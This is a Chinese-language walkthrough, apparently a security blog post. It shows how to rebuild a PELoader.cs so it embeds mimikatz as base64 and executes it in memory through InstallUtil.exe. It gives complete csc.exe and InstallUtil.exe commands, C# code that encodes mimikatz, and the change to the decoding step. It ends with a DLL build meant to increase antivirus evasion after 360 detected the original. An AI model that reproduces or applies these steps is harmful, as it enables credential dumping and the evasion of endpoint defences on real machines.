0x00 前言

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图，生成PELoader.exe，然后通过InstallUtil.exe执行PELoader.exe

成功加载运行mimikatz

进程显示为InstallUtil.exe，如图

（3）测试生成的PELoader.exe查杀情况

如图，360成功检测威胁

（4）尝试修改PELoader.cs

阅读代码发现Line853-856存储了base64加密后的mimikatz

那么参照作者给出的修改方法修改

作者给出的修改方法如下：

* Base64 Encode Mimikatz In PowerShell-  $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64")  * 
[OR] 
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();  *

（5）测试Base64 Encode Mimikatz In PowerShell

按照作者给出的方法对mimikatz作base64编码并保存在Mimikatz.b64文件中

如图

执行Powershell代码

执行后生成Mimikatz.b64，如图

打开将内容复制到PELoader.cs中的变量KatzCompressed的定义中，如图

按照步骤（2）执行测试，发现错误，如图

0x04 分析

作者给出的实例代码如果无法修改，未免太鸡肋，必须找到修改方法，实现执行任意程序

0x05 解决方案

在做了多次实验并研究代码后成功找到了错误原因：

Powershell作base64编码同c#对base64解码之间存在解析错误

解决步骤：

（1）使用c#对mimikatz作base64加密

代码如下：

using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test1
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
            String AsBase64String = Convert.ToBase64String(AsBytes);
            StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
            sw.Write(AsBase64String);
            sw.Close();
        }
    }
}

我使用的环境是vs2012，新建c#工程，填写以上代码，编译后运行，生成新的mimikatz.b64，如图

细心的同学可以发现和之前使用Powershell生成的mimikatz.b64有所区别

（2）替换变量KatzCompressed的定义内容

如图

（3）修改解密过程

定位PELoader.csLine106，去掉

byte[] decompressed = Decompress(FromBase64);

在前面添加“//”即可，如图

（4）再次编译并利用InstallUtil.exe执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图

证明修改成功，能够顺利执行我们修改的代码

（5）增强免杀

采用如下生成步骤：

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll

如图